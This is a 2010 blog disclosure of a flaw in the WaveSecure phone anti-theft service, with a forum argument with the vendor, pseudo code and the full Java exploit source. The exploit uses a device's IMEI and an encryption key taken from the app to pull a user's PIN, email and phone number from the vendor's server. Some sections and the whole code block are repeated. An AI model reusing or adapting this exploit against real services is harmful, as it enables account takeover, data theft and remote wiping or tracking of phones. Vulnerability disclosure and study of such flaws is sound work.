Just to make the story complete... :-) I already informed WaveSecure about the security leak they have on their blog long before i was actually doing any work to prove my case. I told them that there is a leak and they would not even listen.
The discussion is from this thread on their website. However i think they might remove it soon...
UPDATE: i hardly can imagine what happened: ALL MY COMMENTS THAT YOU SEE IN THE THREAD BELOW WERE REMOVED FROM THE THREAD ON THEIR SITE - IT JUST SAYS "COMMENT REMOVED". THIS IS PURE CENSORSHIP.
Watch what happened... and (sadly) enjoy:
ME: hey guys - you said you're fetching the settings from the server automatically upon hard reset. Now what? The phone has been reset - so no user specific data is stored on the phone. How does WaveSecure authenticate to the server? It has no password or other unique data to tell to the server. Does this mean that basically EVERYONE can download that data from your servers? Seems like a big SECURITY LEAK - "download data of everyone from wavesecure servers for free"? Please advise.
REPLY BY WS (PRASHANT): The data is fetched based on the IMEI of the phone. The data we are talking about is the data for the app to work and not your personal data. The personal data can be restored only from within the application which requires you to authenticate yourself with your PIN.
ME: Ok please exactly describe which data will be fetched from the server in that unsecure way. I want to understand this.
ME: No answer - strange. Can you please answer my question: which data will be fetched from the server once the hard reset is done? How will WaveSecure authenticate to the server? I want to make sure that you are not creating a security leak to my phone - please reply.
REPLY BY WS (PRASHANT): I'm not sure why you consider this unsecure. The connection is made over https and only the application knows how to fetch this data from the server using the IMEI of your phone. The data that is fetched is for the application to get activated on the phone so that it can continue to receive commands from the server. Things such as buddy list, PIN hash and internal communication data are fetched. All of this data is encrypted and stored in the database of the application.
Can you provide us with a use case where you think this can be exploited?
ME: Dear Prashast - i think you guys implemented the biggest security hole i can imagine. As you know for sure applications can be reverse engineered. So the algorithm on how to fetch the data can be easily found out. Also the IMEI (your only authentication tag) is known to an attacker. The attacker will implement a small program that will authenticate to the server using your authentication algorithm and the IMEI. The program will then get the PIN hash!! I think WaveSecure will authenticate to the server using the PIN hash to download backup data... so the attacker can then download backup data from the servers just by knowing the IMEI of the phone.
NO REPLY BY WAVESECURE (LEAK STILL OPEN)
OTHER USER: Dear Prashant,
Is it really a security hole ?
Also I was reading http://www.cidway.com/default.asp?PageID=250.
Could you see if the present security mechanism could be improved ?
NO REPLY BY WAVESECURE (LEAK STILL OPEN)
ME: ACTUALLY I WAS RIGHT - WaveSecure HAS a major security leak. And no: the PIN is not transmitted as hash - its PLAIN TEXT. I thought that as there was no reply anymore... :-)
check out http://bit.ly/cF9rKe for more details
LEAK NOW CLOSED... BUT NOT A SINGLE STATEMENT BY THEM. SAD.
So long - i think thats my last post. Got other things to do! :-)
Tuesday, August 3, 2010
WaveSecure - Security Vulnerability Exploit Source Code Unveiled
Hello - as stated in my Blog entry i found a major security leak within WaveSecure that allowed hackers to download user backup data, GPS track phones, wipe phones and lock phones of unsuspecting users by just knowing or guessing their IMEI number.
The security leak within WaveSecure was fixed in response to my publication by disabling the corresponding feature (restoring settings after a hard-reset on rooted Android phones). As the leak is no longer existing, i now can publish the complete source code of the exploit. Enjoy.
Please note that i think that the security architecture of WaveSecure is still fragile and it could be that further exploits exist. However i will not further follow this topic - it's already boring :-).
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import org.apache.commons.codec.binary.Base64;
public class WS {
public static byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i+1), 16));
}
return data;
}
public static byte[] doEncrypt(String text) throws Exception
{
int l = text.getBytes().length;
int rest = l % 16;
for (int i = 0; i < (16-rest); i++)
text = text + " ";
byte[] cipherKey = hexStringToByteArray("E5E6E7E9EA292A2B2D256789012345E5");
SecretKeySpec secretKey = new SecretKeySpec(cipherKey, "Rijndael");
Cipher cipher = Cipher.getInstance("Rijndael/CBC/NoPadding");
cipher.init(Cipher.ENCRYPT_MODE, secretKey, new IvParameterSpec(new byte[] {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}));
return cipher.doFinal(text.getBytes());
}
private static String removeTags(String input)
{
int index = input.indexOf('<');
if (index >= 0)
return input.substring(0, index);
return input;
}
public static void main(String[] args) {
byte[] encoded;
try {
if (args.length < 1)
{
System.out.println("Please give IMEI as argument!");
return;
}
String imei = args[0];
if (imei == null || imei.isEmpty())
{
System.out.println("Please give IMEI as argument!");
return;
}
String input = "AAAsq -ge 1 -m 1200 -ver 3.1.0.4 -ga 1 -gb 1 -i " + imei;
System.out.println("========= INPUT ==================");
System.out.println("Input: " + input);
System.out.println("==================================");
System.out.println();
System.out.println("Doing encryption stuff...");
encoded = doEncrypt(input);
byte[] encoded64 = Base64.encodeBase64(encoded);
System.out.println("Did encryption stuff...");
String command = "/!!/AAAA" + new String(encoded64);
String strUrl = "https://www.wavesecure.com/service.ashx?text=" + URLEncoder.encode(command);
System.out.println("Connection to " + strUrl + "...");
URL url = new URL(strUrl);
URLConnection conn = url.openConnection();
BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = rd.readLine()) != null)
{
sb.append(line);
}
rd.close();
String result = sb.toString();
System.out.println("Response from server: " + result);
System.out.println();
System.out.println("========= PARSED RESULT ==========");
String[] parts = result.split(" ");
for (int i = 0; i < parts.length; i++)
{
String p = parts[i];
if (p.equals("-p"))
{
System.out.println("PIN code: " + removeTags(parts[i+1]));
} else if (p.equals("-e"))
{
System.out.println("Email: " + removeTags(parts[i+1]));
} else if (p.equals("-pn"))
{
System.out.println("Phone number: " + removeTags(parts[i+1]));
}
}
System.out.println("==================================");
System.out.println("(how unsecure is THAT????!)");
} catch (Exception e1) {
e1.printStackTrace();
}
}
}
The security leak within WaveSecure was fixed in response to my publication by disabling the corresponding feature (restoring settings after a hard-reset on rooted Android phones). As the leak is no longer existing, i now can publish the complete source code of the exploit. Enjoy.
Please note that i think that the security architecture of WaveSecure is still fragile and it could be that further exploits exist. However i will not further follow this topic - it's already boring :-).
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import org.apache.commons.codec.binary.Base64;
public class WS {
public static byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i+1), 16));
}
return data;
}
public static byte[] doEncrypt(String text) throws Exception
{
int l = text.getBytes().length;
int rest = l % 16;
for (int i = 0; i < (16-rest); i++)
text = text + " ";
byte[] cipherKey = hexStringToByteArray("E5E6E7E9EA292A2B2D256789012345E5");
SecretKeySpec secretKey = new SecretKeySpec(cipherKey, "Rijndael");
Cipher cipher = Cipher.getInstance("Rijndael/CBC/NoPadding");
cipher.init(Cipher.ENCRYPT_MODE, secretKey, new IvParameterSpec(new byte[] {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}));
return cipher.doFinal(text.getBytes());
}
private static String removeTags(String input)
{
int index = input.indexOf('<');
if (index >= 0)
return input.substring(0, index);
return input;
}
public static void main(String[] args) {
byte[] encoded;
try {
if (args.length < 1)
{
System.out.println("Please give IMEI as argument!");
return;
}
String imei = args[0];
if (imei == null || imei.isEmpty())
{
System.out.println("Please give IMEI as argument!");
return;
}
String input = "AAAsq -ge 1 -m 1200 -ver 3.1.0.4 -ga 1 -gb 1 -i " + imei;
System.out.println("========= INPUT ==================");
System.out.println("Input: " + input);
System.out.println("==================================");
System.out.println();
System.out.println("Doing encryption stuff...");
encoded = doEncrypt(input);
byte[] encoded64 = Base64.encodeBase64(encoded);
System.out.println("Did encryption stuff...");
String command = "/!!/AAAA" + new String(encoded64);
String strUrl = "https://www.wavesecure.com/service.ashx?text=" + URLEncoder.encode(command);
System.out.println("Connection to " + strUrl + "...");
URL url = new URL(strUrl);
URLConnection conn = url.openConnection();
BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = rd.readLine()) != null)
{
sb.append(line);
}
rd.close();
String result = sb.toString();
System.out.println("Response from server: " + result);
System.out.println();
System.out.println("========= PARSED RESULT ==========");
String[] parts = result.split(" ");
for (int i = 0; i < parts.length; i++)
{
String p = parts[i];
if (p.equals("-p"))
{
System.out.println("PIN code: " + removeTags(parts[i+1]));
} else if (p.equals("-e"))
{
System.out.println("Email: " + removeTags(parts[i+1]));
} else if (p.equals("-pn"))
{
System.out.println("Phone number: " + removeTags(parts[i+1]));
}
}
System.out.println("==================================");
System.out.println("(how unsecure is THAT????!)");
} catch (Exception e1) {
e1.printStackTrace();
}
}
}
Monday, August 2, 2010
WaveSecure - Major Security Leak Uncovered
Situation: Dramatic things have happened - WaveSecure, the well known phone anti theft app is as unsecure as it is potentially possible... hundreds of thousands of users have exposed their personal data and much more to hackers all over the world without knowing it. The hacker just needs to know or GUESS the victims IMEI and he is set.
EDIT: The vulnerable interface which has now been open to hackers for months has been disabled in response to my publication by the WaveSecure guys. Links to this blog that were posted on Wave"Un"Secure's website were removed instantly. Also there is no comment by tenCube about this case and it seems the users have not been informed about the threats of Wave"Un"Secure's unsecure communication model.
This is a description of the original vulnerability:
Weeks ago i discovered the hard-reset-proof feature for rooted Android phones that WaveSecure provides. Wow, i thought, that's really cool - but then... i know that once an rooted Android device is reset to it's factory settings, system applications will survive that reset - this is used by WaveSecure to survive the reset and this works fine.
OK OK i admit - thats not enough. So i decompiled the program using Baksmali and spent 2 days looking through the sources.
Now it got even easier
- the encrypion keys are stored on the device, ready to go
- the encryption used is standard AES there's lots of public libraries around, even the Java Runtime Environment delivers one
- and when i finally got the reply from the server i found out that i even did not have to DECODE anything - everything was PLAIN TEXT including the PIN code of the user...
Now imagine what: just by providing the IMEI of the target phone, any user can get the PIN code + the phone number of that user... just login to http://www.wavesecure.com/ and login and get going:
- get all the backed up user data (SMS, Contacts, Pictures, ...)
- locate the phone using GPS
- wipe the phone
- lock the phone
All without authorization!!!
Its just 150 lines of code.
Just look at the attached screenshots and you'll see how it worked.
At this point in time i will not provide any source code (just pseudo code) because i do not want to harm anybody. I also only used the program to test it using my own account. So no data leaked yet... until someone else finds out how to do this too... its really not much work.
This is the pseudo code:
EDIT: The vulnerable interface which has now been open to hackers for months has been disabled in response to my publication by the WaveSecure guys. Links to this blog that were posted on Wave"Un"Secure's website were removed instantly. Also there is no comment by tenCube about this case and it seems the users have not been informed about the threats of Wave"Un"Secure's unsecure communication model.
This is a description of the original vulnerability:
Weeks ago i discovered the hard-reset-proof feature for rooted Android phones that WaveSecure provides. Wow, i thought, that's really cool - but then... i know that once an rooted Android device is reset to it's factory settings, system applications will survive that reset - this is used by WaveSecure to survive the reset and this works fine.
However all application data gets lost - but SOMEHOW it seemed that WaveSecure also survived that - the settings keeped to exist. After researching a bit i found out that WaveSecure pulls the settings from their server. So far so good. Then the next question came up: how the hell does WaveSecure authenticate then to the servers if there is no secret data left on the phone once the device is reset???! Everything would have to work using publicly known data... which brings the logical result that there MUST be a security leak...
- find out how the command format looks like from client to server
- find out how the encryption works
- write a small program that reused the encryption
- decrypt the reply
- look if there's something usable
- the encrypion keys are stored on the device, ready to go
- the encryption used is standard AES there's lots of public libraries around, even the Java Runtime Environment delivers one
- and when i finally got the reply from the server i found out that i even did not have to DECODE anything - everything was PLAIN TEXT including the PIN code of the user...
Now imagine what: just by providing the IMEI of the target phone, any user can get the PIN code + the phone number of that user... just login to http://www.wavesecure.com/ and login and get going:
- get all the backed up user data (SMS, Contacts, Pictures, ...)
- locate the phone using GPS
- wipe the phone
- lock the phone
All without authorization!!!
Its just 150 lines of code.
Just look at the attached screenshots and you'll see how it worked.
At this point in time i will not provide any source code (just pseudo code) because i do not want to harm anybody. I also only used the program to test it using my own account. So no data leaked yet... until someone else finds out how to do this too... its really not much work.
This is the pseudo code:
class WS {Hope this article was interesting - email me for comments at ws555888@hotmail.com.
byte[] doEncrypt(text)
{
cipherKey = hexStringToByteArray("..."); // get this key from the .apk /res/raw/build_config.txt
generate key using Rijndael;
get a cipher instance for "Rijndael/CBC/NoPadding";
encrypt the stuff;
return encrypted stuff;
}
main(arg)
{
command = "...some special command string..." + arg[0]; // append IMEI
encrypt command;
url = "https://www.wavesecure.com/service.ashx?text=/!!/AAAA" + encrypted command;
just open standard get on URL;
read response, its PLAIN TEXT;
search for the PIN within;
thats IT!
}
}
Subscribe to:
Posts (Atom)